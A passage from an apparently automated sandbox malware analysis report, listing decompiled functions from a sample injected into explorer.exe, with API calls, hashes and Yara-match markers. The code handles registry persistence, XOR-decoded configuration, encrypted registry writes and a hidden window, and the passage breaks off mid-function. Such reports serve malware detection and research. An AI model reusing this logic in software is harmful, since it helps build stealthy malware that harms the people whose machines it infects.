lstrcatA.KERNEL32(00000000,10028314,00000000,-00000020,00000000,?,100050DE,00000000,1002B730), ref: 1000513A

Strings

%u;%u;%u, xrefs: 10005159
, xrefs: 10005174

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocateHeaplstrcat
String ID: $%u;%u;%u
API String ID: 3011335133-2815652646
Opcode ID: 8de73ec7eabac92e0a28c79822f9242e11507d262f06961344e49841f0006e99
Instruction ID: 0d54661d044fc834a835a1b5fd27b5e65b9a3c848b902640bd03edae87476070
Opcode Fuzzy Hash: 8de73ec7eabac92e0a28c79822f9242e11507d262f06961344e49841f0006e99
Instruction Fuzzy Hash: 7D21A236D00218AFEB10EFA8CCC0A9E77F9FB44798F1145A9E514A3256DB719E42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1000659B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000659B(intOrPtr _a4, char _a8, intOrPtr _a12) {
				void* _t4;

				_t4 = E100061EF("%s:%d: OpenSSL internal error: %s\n", _a8);
				__imp__raise(0x16, _a12, _a4);
				_exit(3);
				return _t4;
			}

0x100065ac
0x100065b6
0x100065bf
0x100065c6

APIs

Part of subcall function 100061EF: GetStdHandle.KERNEL32(000000F4), ref: 100061FA
Part of subcall function 100061EF: GetFileType.KERNEL32(00000000), ref: 10006210
Part of subcall function 100061EF: _vsnprintf.MSVCRT ref: 10006238
Part of subcall function 100061EF: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10006281

raise.MSVCRT ref: 100065B6
_exit.MSVCRT ref: 100065BF

Strings

%s:%d: OpenSSL internal error: %s, xrefs: 100065A7

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: File$HandleTypeWrite_exit_vsnprintfraise
String ID: %s:%d: OpenSSL internal error: %s
API String ID: 1829284227-569889646
Opcode ID: 4883f8203dc2149f1faa1f35e22bd8a5fa6d8a79492da83a3153e5757feec378
Instruction ID: aeb402b9eaf345bca06fb95afc9dbb4bab8131659556576b2230995040791c0e
Opcode Fuzzy Hash: 4883f8203dc2149f1faa1f35e22bd8a5fa6d8a79492da83a3153e5757feec378
Instruction Fuzzy Hash: F9D09E3604020DBFFF015F91DC16AD93B16EB09750F548005FA1C04092D673A2319755

Uniqueness

Uniqueness Score: -1.00%

Function 10004CEE, Relevance: 5.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E10004CEE(intOrPtr _a4, intOrPtr* _a8, void* _a12, void* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v16;
				int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr* _t85;
				char _t90;

				_v8 = _a20 + 7 >> 3;
				_v28 = _v8 << 3;
				_v20 = _v28 - _a20;
				if(_a20 == 0 || _a20 >= 0x80000000) {
					return 0;
				} else {
					if(_a8 != 0) {
						_v16 =  *_a8;
					} else {
						_t90 =  *0x10028310; // 0xa65959a6
						_v16 = _t90;
					}
					_v12 = _a20 >> 0x00000018 & 0x000000ff;
					_v11 = _a20 >> 0x00000010 & 0x000000ff;
					_v10 = _a20 >> 0x00000008 & 0x000000ff;
					_v9 = _a20 & 0x000000ff;
					if(_v28 != 8) {
						memmove(_a12, _a16, _a20);
						memset(_a12 + _a20, 0, _v20);
						_v24 = E10004996(_a4,  &_v16, _a12, _a12, _v28, _a24);
					} else {
						memmove(_a12 + 8, _a16, _a20);
						_t85 = _a12;
						 *_t85 = _v16;
						 *((intOrPtr*)(_t85 + 4)) = _v12;
						memset(_a12 + _a20 + 8, 0, _v20);
						_a24(_a12, _a12, _a4);
						_v24 = 0x10;
					}
					return _v24;
				}
			}

0x10004cfd
0x10004d06
0x10004d0f
0x10004d16
0x00000000
0x10004d28
0x10004d2c
0x10004d3d
0x10004d2e
0x10004d2e
0x10004d33
0x10004d33
0x10004d4b
0x10004d59
0x10004d67
0x10004d72
0x10004d79
0x10004dd8
0x10004ded
0x10004e10
0x10004d7b
0x10004d88
0x10004d91
0x10004d97
0x10004d9c
0x10004daf
0x10004dc0
0x10004dc6
0x10004dc6
0x00000000
0x10004e13

APIs

memmove.MSVCRT ref: 10004D88
memset.MSVCRT ref: 10004DAF
memmove.MSVCRT ref: 10004DD8
memset.MSVCRT ref: 10004DED

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: d65bd343dd176a7520e46b170bc1c6c37b1b539076ee79da457a28d325a5d40b
Instruction ID: 64261133311cde62672b71994e8e53c9eb2d08e93b6ca21771f533c0a2567996
Opcode Fuzzy Hash: d65bd343dd176a7520e46b170bc1c6c37b1b539076ee79da457a28d325a5d40b
Instruction Fuzzy Hash: 1641EFB290024EEFDF01DF98C846AAE7BB1FF14344F044469F914A7252D635DAA1DB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exe PID: 5800 Parent PID: 3492 explorer.exeCOMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	175

Executed Functions

Function 01102A6B, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01102A6B(void* __eflags) {
				void* _t6;

				 *((intOrPtr*)( *0x112b760 + 0x108))(1, E01102A85);
				E0110288A(_t6); // executed
				return 0;
			}

0x01102a77
0x01102a7d
0x01102a84

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,01102A85,01102DE5), ref: 01102A77

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: f0c95b165701a04b218d7f0a0141f5b150e280bf29fb895da0d550e4f2e0b1b6
Instruction ID: b8b8347be96d050e186fbf269eadb8cf9f656bda90870a62c89375e347f471dc
Opcode Fuzzy Hash: f0c95b165701a04b218d7f0a0141f5b150e280bf29fb895da0d550e4f2e0b1b6
Instruction Fuzzy Hash: A6B09230A48106AEC36DAB629C4DB943390AB54701F0900B5F144850E5DFE044C04A00

Uniqueness

Uniqueness Score: -1.00%

Function 0110CD4F, Relevance: 6.1, APIs: 4, Instructions: 72
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0110CD4F(short* _a4, short* _a8) {
				void* _v8;
				int _v12;
				int _v16;
				char* _v20;
				long _t22;
				long _t25;
				char* _t26;
				long _t31;
				char* _t39;

				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_t22 = RegOpenKeyExW(0x80000002, _a4, 0, 0x20019,  &_v8); // executed
				if(_t22 == 0) {
					_t25 = RegQueryValueExW(_v8, _a8, 0,  &_v16, 0,  &_v12); // executed
					if(_t25 != 0) {
						L6:
						if(_v8 != 0) {
							 *((intOrPtr*)( *0x112b76c + 0x1c))(_v8);
						}
						_t26 = 0;
						L10:
						return _t26;
					}
					_t39 = E01109568(_v12);
					_v20 = _t39;
					if(_t39 == 0) {
						goto L6;
					}
					_t31 = RegQueryValueExW(_v8, _a8, 0, 0, _t39,  &_v12); // executed
					if(_t31 == 0) {
						RegCloseKey(_v8);
						_t26 = _t39;
						goto L10;
					}
					E011094F4( &_v20, 0xfffffffe);
					goto L6;
				}
				return 0;
			}

0x0110cd65
0x0110cd6d
0x0110cd70
0x0110cd73
0x0110cd7b
0x0110cd99
0x0110cd9d
0x0110cdd1
0x0110cdd4
0x0110cdde
0x0110cdde
0x0110cde1
0x0110cdf2
0x00000000
0x0110cdf3
0x0110cda7
0x0110cdaa
0x0110cdaf
0x00000000
0x00000000
0x0110cdbe
0x0110cdc2
0x0110cded
0x0110cdf0
0x00000000
0x0110cdf0
0x0110cdca
0x00000000
0x0110cdd0
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(80000002,01120514,00000000,00020019,00000000,00000000,00000121,00000000,01120514,00000000,00000000,00000121,00000000), ref: 0110CD73
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 0110CD99
RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?), ref: 0110CDBE

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue$Open
String ID:
API String ID: 1606891134-0
Opcode ID: 0fe2c97ec8e8278863d4910398a6c9dc5c6fc4e2b0417a6e47cb41708b78be8d
Instruction ID: 324d4bdc2c37ca761b5339dd69abff58c08b3b1f67c1fd9c4a8db16e8299153b
Opcode Fuzzy Hash: 0fe2c97ec8e8278863d4910398a6c9dc5c6fc4e2b0417a6e47cb41708b78be8d
Instruction Fuzzy Hash: C0216A75D00109FFEF259FA9DD84D9EBFB8EB88754B1042A6F910E2191D7718A10DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0110CA30, Relevance: 6.1, APIs: 4, Instructions: 69
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0110CA30(intOrPtr* __ebx, void* _a4, char* _a8, char* _a12) {
				int _v8;
				void* _v12;
				int _v16;
				char* _t45;

				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t45 = 0; // executed
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20019,  &_v12) == 0) {
					_v8 = 0;
					if(RegQueryValueExA(_v12, _a12, 0,  &_v16, 0,  &_v8) == 0) {
						_t45 = E01109568(_v8 + 1);
						if(_t45 != 0 && RegQueryValueExA(_v12, _a12, 0,  &_v16, _t45,  &_v8) == 0 && __ebx != 0) {
							 *((intOrPtr*)(__ebx)) = _v8;
						}
					}
					if(_v12 != 0) {
						RegCloseKey(_v12);
					}
					return _t45;
				}
				return 0;
			}

0x0110ca4c
0x0110ca52
0x0110ca55
0x0110ca58
0x0110ca5f
0x0110ca77
0x0110ca82
0x0110ca8e
0x0110ca93
0x0110cab8
0x0110cab8
0x0110ca93
0x0110cabd
0x0110cac7
0x0110cac7
0x00000000
0x0110caca
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00020019,?,?,?), ref: 0110CA5A
RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?), ref: 0110CA7D
RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?), ref: 0110CAAA
RegCloseKey.KERNELBASE(?), ref: 0110CAC7

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: 15e00f73a546accea1bf3323776861da2f6e8b84f9967d6e2b562639576edae1
Instruction ID: 0cf74ac2b20c2f701b9b49654fed4092ea8526e3b45e7d00d8729782b1918f08
Opcode Fuzzy Hash: 15e00f73a546accea1bf3323776861da2f6e8b84f9967d6e2b562639576edae1
Instruction Fuzzy Hash: 20210B76A00218FFDB26CFA9DD84D9EBFB9EF48650B0440A5F905D3155E370DA90DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01105C57, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E01105C57(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct _WNDCLASSEXA _v56;
				char _v84;
				char _v148;
				void* __edi;
				struct HINSTANCE__* _t27;
				struct HWND__* _t36;
				struct HWND__* _t46;
				void* _t53;
				CHAR* _t60;
				struct HINSTANCE__* _t61;

				_t27 =  *((intOrPtr*)( *0x112b760 + 0x10))(0);
				_push(0x30);
				_v8 = _t27;
				_push(0);
				_push( &_v56);
				L0111CAF8();
				_t60 =  &_v148;
				E0110AC12(_t60, 1, 0x1e, 0x32,  *0x112b740 + 0x648);
				_t61 = _v8;
				_v56.lpszClassName = _t60;
				_v56.style = 3;
				_v56.cbSize = 0x30;
				_v56.lpfnWndProc = E01105BD8;
				_v56.hInstance = _t61;
				if(RegisterClassExA( &_v56) == 0) {
					L6:
					_t36 =  *0x112b7bc;
					if(_t36 != 0) {
						 *((intOrPtr*)( *0x112b748 + 0x28))(_t36);
					}
					L8:
					 *((intOrPtr*)( *0x112b748 + 0x2c))( &_v148, _t61);
					return 0;
				}
				_t46 = CreateWindowExA(0,  &_v148,  &_v148, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, _t61, 0);
				 *0x112b7bc = _t46;
				if(_t46 == 0) {
					goto L8;
				}
				 *((intOrPtr*)( *0x112b748 + 0x14))(_t46, 0);
				 *((intOrPtr*)( *0x112b748 + 0x18))( *0x112b7bc);
				while(1) {
					_t53 =  *((intOrPtr*)( *0x112b748 + 0x1c))( &_v84, 0, 0, 0);
					if(_t53 == 0) {
						goto L6;
					}
					if(_t53 == 0xffffffff) {
						goto L6;
					}
					 *((intOrPtr*)( *0x112b748 + 0x20))( &_v84);
					 *((intOrPtr*)( *0x112b748 + 0x24))( &_v84);
				}
				goto L6;
			}

0x01105c6a
0x01105c6d
0x01105c6f
0x01105c75
0x01105c76
0x01105c77
0x01105c8d
0x01105c93
0x01105c9a
0x01105c9d
0x01105cac
0x01105cb3
0x01105cba
0x01105cc1
0x01105cca
0x01105d47
0x01105d47
0x01105d4e
0x01105d56
0x01105d56
0x01105d59
0x01105d66
0x01105d6e
0x01105d6e
0x01105cf1
0x01105cf4
0x01105cfb
0x00000000
0x00000000
0x01105d04
0x01105d12
0x01105d34
0x01105d40
0x01105d45
0x00000000
0x00000000
0x01105d1a
0x00000000
0x00000000
0x01105d25
0x01105d31
0x01105d31
0x00000000

APIs

RegisterClassExA.USER32(?), ref: 01105CC4
CreateWindowExA.USER32(00000000,?,?,00CF0000,80000000,80000000,000001F4,00000064,00000000,00000000,?,00000000), ref: 01105CF1

Strings

0, xrefs: 01105CB3

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ClassCreateRegisterWindow
String ID: 0
API String ID: 3469048531-4108050209
Opcode ID: ed2a45369d9d8f6489091b484420348487012b06dbefb5140c2adf745aeb19ab
Instruction ID: ae109cfc97a46acdb1deec0d155e79fd9bdfbd0c5be320247d30f6ae137b73f0
Opcode Fuzzy Hash: ed2a45369d9d8f6489091b484420348487012b06dbefb5140c2adf745aeb19ab
Instruction Fuzzy Hash: 5E314871901118BFC729DFA8DC48E9E7BBDEB09311F080065F618EB195D774A992CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 01109010, Relevance: 4.7, APIs: 3, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E01109010(void* __fp0, intOrPtr _a4, long _a8, long _a12, long _a16, long _a20) {
				int _v8;
				int _v12;
				char _v16;
				int _v20;
				void* _v24;
				long* _v28;
				void* _v32;
				char _v36;
				long _v40;
				char _v104;
				void* __ebx;
				intOrPtr _t96;
				int _t98;
				long _t103;
				long _t104;
				long _t107;
				signed char _t114;
				long _t117;
				long _t118;
				long _t132;
				long _t136;
				long _t138;
				char* _t142;
				int _t147;
				int _t151;
				long _t153;
				long _t158;
				long _t159;
				void* _t161;
				signed int _t166;
				int _t173;
				long* _t175;
				char* _t176;
				char* _t177;
				void* _t178;
				void* _t179;
				void* _t181;

				_t159 = _a12;
				_v32 = 0;
				_v24 = 0x80000001;
				_v8 = 0;
				_t175 = E01109568(0x110);
				_v28 = _t175;
				if(_t175 != 0) {
					_t175[0x42] = _t159;
					E0110CFDE( &_v104, __eflags, __fp0, _t159);
					__eflags = _v104 - 0x61 - 0x19;
					if(_v104 - 0x61 <= 0x19) {
						_v104 = _v104 + 0xe0;
					}
					_v16 = E01108A79();
					__eflags = _a8;
					if(_a8 == 0) {
						L16:
						_t96 =  *0x112b740;
						__eflags =  *((intOrPtr*)(_t96 + 0x214)) - 3;
						if( *((intOrPtr*)(_t96 + 0x214)) != 3) {
							_push(0);
							_push( &_v104);
							_push("\\");
							_t98 = E0110AB67(_v16);
							_t179 = _t179 + 0x10;
							L20:
							_v8 = _t98;
							goto L21;
						}
						_v20 = 0;
						_v24 = 0x80000003;
						 *((intOrPtr*)( *0x112b76c + 0x20))( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x110)))),  &_v20);
						__eflags = _v20;
						if(_v20 == 0) {
							goto L21;
						}
						_push(0);
						_push( &_v104);
						_t176 = "\\";
						_push(_t176);
						_push(_v16);
						_push(_t176);
						_t98 = E0110AB67(_v20);
						_t175 = _v28;
						_t179 = _t179 + 0x18;
						goto L20;
					} else {
						_t132 =  *((intOrPtr*)( *0x112b76c + 0x64))(_a8,  *((intOrPtr*)( *((intOrPtr*)( *0x112b740 + 0x110)))));
						__eflags = _t132;
						if(_t132 != 0) {
							goto L16;
						}
						_v12 = 0;
						_v24 = 0x80000003;
						 *((intOrPtr*)( *0x112b76c + 0x20))(_a8,  &_v12);
						__eflags = _v12;
						if(_v12 == 0) {
							L21:
							E0110A72E( &_v16);
							_t161 = _v24;
							_t103 = RegOpenKeyExA(_t161, _v8, 0, 0x20019,  &_v32);
							__eflags = _t103;
							if(_t103 == 0) {
								_t104 = _a16;
								__eflags = _t104;
								if(_t104 != 0) {
									 *_t104 = 1;
								}
								_push(_v32);
								L30:
								RegCloseKey();
								_t173 = _v8;
								_t175[0x43] = _t161;
								_t107 = E0110C90F(_t173);
								_t166 = 0;
								 *_t175 = _t107;
								__eflags = _t107;
								if(_t107 <= 0) {
									L32:
									E011094F4( &_v8, 0xffffffff);
									return _t175;
								} else {
									goto L31;
								}
								do {
									L31:
									_t114 =  *(_t178 + (_t166 & 0x00000003) + 0x10) ^  *(_t166 + _t173);
									_t166 = _t166 + 1;
									 *(_t175 + _t166 + 3) = _t114;
									__eflags = _t166 -  *_t175;
								} while (_t166 <  *_t175);
								goto L32;
							}
							_v24 = 0;
							_t117 = RegCreateKeyA(_t161, _v8,  &_v24);
							__eflags = _t117;
							if(_t117 == 0) {
								_t118 = _a16;
								__eflags = _t118;
								if(_t118 != 0) {
									 *_t118 = 0;
								}
								_push(_v24);
								goto L30;
							}
							L23:
							E011094F4( &_v28, 0x110);
							_push(0x40);
							_push(0);
							_push( &_v104);
							L0111CAF8();
							E011094F4( &_v8, 0xffffffff);
							goto L1;
						}
						_push(0);
						_push(_v16);
						_t177 = "\\";
						_push(_t177);
						_t136 = E0110AB67(_v12);
						_t179 = _t179 + 0x10;
						_v40 = _t136;
						__eflags = _t136;
						if(_t136 == 0) {
							goto L23;
						}
						_t138 =  *((intOrPtr*)( *0x112b76c + 0x14))(0x80000003, _t136, 0, 0x20019,  &_v36);
						__eflags = _t138;
						if(_t138 == 0) {
							 *((intOrPtr*)( *0x112b76c + 0x1c))(_v36);
						} else {
							_t147 = E01108A90( &_v36, 0x392);
							_v8 = _t147;
							_v20 = E0110ABBC(_a4);
							E0110A741( &_v8);
							_t151 = E0110ADFD(_v12);
							_t181 = _t179 + 0x1c;
							_v8 = _t151;
							_t153 =  *((intOrPtr*)( *0x112b76c + 0x2c))(0x80000003, _t151, _v20, "\\", _t147, 0);
							__eflags = _t153;
							if(_t153 == 0) {
								_t158 = _a20;
								__eflags = _t158;
								if(_t158 != 0) {
									 *_t158 = 1;
								}
							}
							E011094F4( &_v20, 0xfffffffe);
							E011094F4( &_v8, 0xfffffffe);
							_t179 = _t181 + 0x10;
						}
						_t142 = E0110AB67(_v12);
						_t179 = _t179 + 0x18;
						_v8 = _t142;
						 *((intOrPtr*)( *0x112b760 + 0x34))(_v12, _t177, _v16, _t177,  &_v104, 0);
						E011094F4( &_v40, 0xffffffff);
						_t175 = _v28;
						goto L21;
					}
				}
				L1:
				return 0;
			}

0x01109017
0x01109023
0x01109026
0x0110902d
0x01109035
0x01109038
0x0110903d
0x01109046
0x01109050
0x0110905b
0x0110905d
0x0110905f
0x0110905f
0x01109075
0x01109078
0x0110907b
0x011091ab
0x011091ab
0x011091b0
0x011091b7
0x011091fb
0x011091ff
0x01109200
0x01109208
0x0110920d
0x01109210
0x01109210
0x00000000
0x01109210
0x011091b9
0x011091cd
0x011091d4
0x011091d7
0x011091da
0x00000000
0x00000000
0x011091dc
0x011091e0
0x011091e1
0x011091e6
0x011091e7
0x011091ea
0x011091ee
0x011091f3
0x011091f6
0x00000000
0x01109081
0x01109096
0x01109099
0x0110909b
0x00000000
0x00000000
0x011090b2
0x011090b5
0x011090b8
0x011090bb
0x011090be
0x01109213
0x01109216
0x0110921b
0x01109231
0x01109234
0x01109236
0x0110928a
0x0110928d
0x0110928f
0x01109291
0x01109291
0x01109297
0x0110929a
0x0110929f
0x011092a2
0x011092a6
0x011092ac
0x011092b2
0x011092b4
0x011092b6
0x011092b8
0x011092cf
0x011092d5
0x00000000
0x00000000
0x00000000
0x00000000
0x011092ba
0x011092ba
0x011092c3
0x011092c6
0x011092c7
0x011092cb
0x011092cb
0x00000000
0x011092ba
0x01109245
0x01109248
0x0110924b
0x0110924d
0x0110927c
0x0110927f
0x01109281
0x01109283
0x01109283
0x01109285
0x00000000
0x01109285
0x0110924f
0x01109258
0x0110925d
0x01109262
0x01109263
0x01109264
0x0110926f
0x00000000
0x01109274
0x011090c4
0x011090c5
0x011090c8
0x011090cd
0x011090d1
0x011090d6
0x011090d9
0x011090dc
0x011090de
0x00000000
0x00000000
0x011090f5
0x011090f8
0x011090fa
0x01109173
0x011090fc
0x01109101
0x01109110
0x01109118
0x0110911f
0x01109127
0x0110912c
0x01109132
0x0110913c
0x0110913f
0x01109141
0x01109143
0x01109146
0x01109148
0x0110914a
0x0110914a
0x01109148
0x01109156
0x01109161
0x01109166
0x01109166
0x01109183
0x01109188
0x0110918e
0x01109196
0x0110919f
0x011091a4
0x00000000
0x011091a8
0x0110907b
0x0110903f
0x00000000

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 626544522f29d9d63ff64365ed08afcd500375422cf2bc59f0fd8cd8519ac366
Instruction ID: d1249d217d681407d45f1fe2eead08666ed6fe3692b3b03583b81d66a28f78c4
Opcode Fuzzy Hash: 626544522f29d9d63ff64365ed08afcd500375422cf2bc59f0fd8cd8519ac366
Instruction Fuzzy Hash: D091D071D0420EEFDB2ADFA8CD44DEEBBB9EF08314F140559E519A72A2D7718A40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01108CB3, Relevance: 4.6, APIs: 3, Instructions: 142
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E01108CB3(signed int __eax, char* __ecx, void* __edx, void* __fp0, intOrPtr _a4, void* _a8, char _a12) {
				char* _v12;
				char* _v16;
				char _v20;
				int _v24;
				intOrPtr _v28;
				char _v48;
				char _v60;
				char _v328;
				char _v2832;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				signed int _t49;
				char* _t57;
				void* _t67;
				long _t74;
				long _t83;
				long _t86;
				void* _t91;
				signed int _t92;
				char* _t93;
				char* _t105;
				char* _t107;
				intOrPtr _t108;

				_t48 = __eax;
				_t92 = __eax;
				_t107 = __ecx;
				if(_a8 == 0 || __eax == 0) {
					L13:
					_t49 = _t48 | 0xffffffff;
					__eflags = _t49;
					return _t49;
				} else {
					_t114 = __ecx;
					if(__ecx == 0) {
						goto L13;
					}
					_v12 = __ecx;
					_v28 = E0110BF2C( *((intOrPtr*)(_a4 + 0x108)),  &_v12, 4);
					E0111B7B4( *((intOrPtr*)(_a4 + 0x108)) + _t107,  &_v2832);
					_t57 = E0111B7FE(_t114, __fp0,  &_v2832, 0, 0x64);
					_v16 = _t57;
					_v24 = _t57 + _t92 + 6;
					_t105 = E01109568(_t57 + _t92 + 6);
					_v12 = _t105;
					if(_t105 != 0) {
						 *_t105 = _a12;
						_t16 = _t105 + 6; // 0x6
						 *((char*)(_t105 + 1)) = 1;
						 *((intOrPtr*)(_t105 + 2)) = _t92;
						E01109543(_t16, _a8, _t92);
						_t21 = _t92 + 6; // 0x6
						E0111B86E( &_v2832, _t105 + _t21, _v16);
						_v20 = _t107;
						_t108 = _a4;
						_v16 =  *((intOrPtr*)(_t108 + 0x108));
						_t93 =  &_v48;
						_t67 = 8;
						E011138D5(_t67, _t93,  &_v20);
						_push( &_v328);
						_push(0x14);
						_push(_t93);
						E011131F5( &_v20);
						_push( &_v328);
						_push(_v24);
						_push(_t105);
						E01113267();
						_t74 = E01109363(_t108);
						_v16 = _t74;
						__eflags = _t74;
						if(_t74 != 0) {
							E0110B06F(_v28,  &_v60, 0x10);
							_t83 = RegOpenKeyExA( *(_t108 + 0x10c), _v16, 0, 2,  &_a8);
							__eflags = _t83;
							if(_t83 == 0) {
								_t86 = RegSetValueExA(_a8,  &_v60, 0, 3, _v12, _v24);
								__eflags = _t86;
								if(_t86 != 0) {
									_push(0xfffffffc);
									_pop(0);
								}
								RegCloseKey(_a8);
							} else {
								_push(0xfffffffd);
								_pop(0);
							}
							E011094F4( &_v16, 0xffffffff);
						}
						E011094F4( &_v12, 0);
						return 0;
					}
					_t91 = 0xfffffffe;
					return _t91;
				}
			}

0x01108cb3
0x01108cc3
0x01108cc5
0x01108cc7
0x01108e32
0x01108e32
0x01108e32
0x00000000
0x01108cd5
0x01108cd5
0x01108cd7
0x00000000
0x00000000
0x01108cee
0x01108cf6
0x01108d03
0x01108d13
0x01108d18
0x01108d20
0x01108d28
0x01108d2d
0x01108d32
0x01108d3f
0x01108d45
0x01108d48
0x01108d4d
0x01108d50
0x01108d58
0x01108d64
0x01108d69
0x01108d6c
0x01108d75
0x01108d7a
0x01108d7d
0x01108d81
0x01108d8c
0x01108d8f
0x01108d91
0x01108d92
0x01108d9d
0x01108d9e
0x01108da1
0x01108da2
0x01108dac
0x01108db1
0x01108db4
0x01108db6
0x01108dc0
0x01108ddd
0x01108de0
0x01108de2
0x01108dff
0x01108e02
0x01108e04
0x01108e06
0x01108e08
0x01108e08
0x01108e11
0x01108de4
0x01108de4
0x01108de6
0x01108de6
0x01108e1a
0x01108e20
0x01108e27
0x00000000
0x01108e2e
0x01108d36
0x00000000
0x01108d36

APIs

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

RegOpenKeyExA.KERNELBASE(?,00000000,00000000,00000002,00000000), ref: 01108DDD

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeapOpen
String ID:
API String ID: 4287083251-0
Opcode ID: be43489bee7d317b1a8c528da06db4306f3d86c22e5722b64442565a57d7013d
Instruction ID: 4282ab6ef8ccdb2623ceaab26a76322bcf066dadce59444e4d2074ec5af359cb
Opcode Fuzzy Hash: be43489bee7d317b1a8c528da06db4306f3d86c22e5722b64442565a57d7013d
Instruction Fuzzy Hash: 5D417475D0421ABFDB15DFA8DC44EDEBBB8AF04324F108166F924E72D1DB709A448B50

Uniqueness

Uniqueness Score: -1.00%

Function 0110E5F3, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0110E5F3(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v80;
				intOrPtr _t48;
				intOrPtr _t49;
				CHAR* _t52;
				signed int _t56;
				struct HINSTANCE__* _t62;
				void* _t66;
				CHAR* _t68;
				intOrPtr _t69;
				void* _t74;
				char _t77;
				void* _t80;
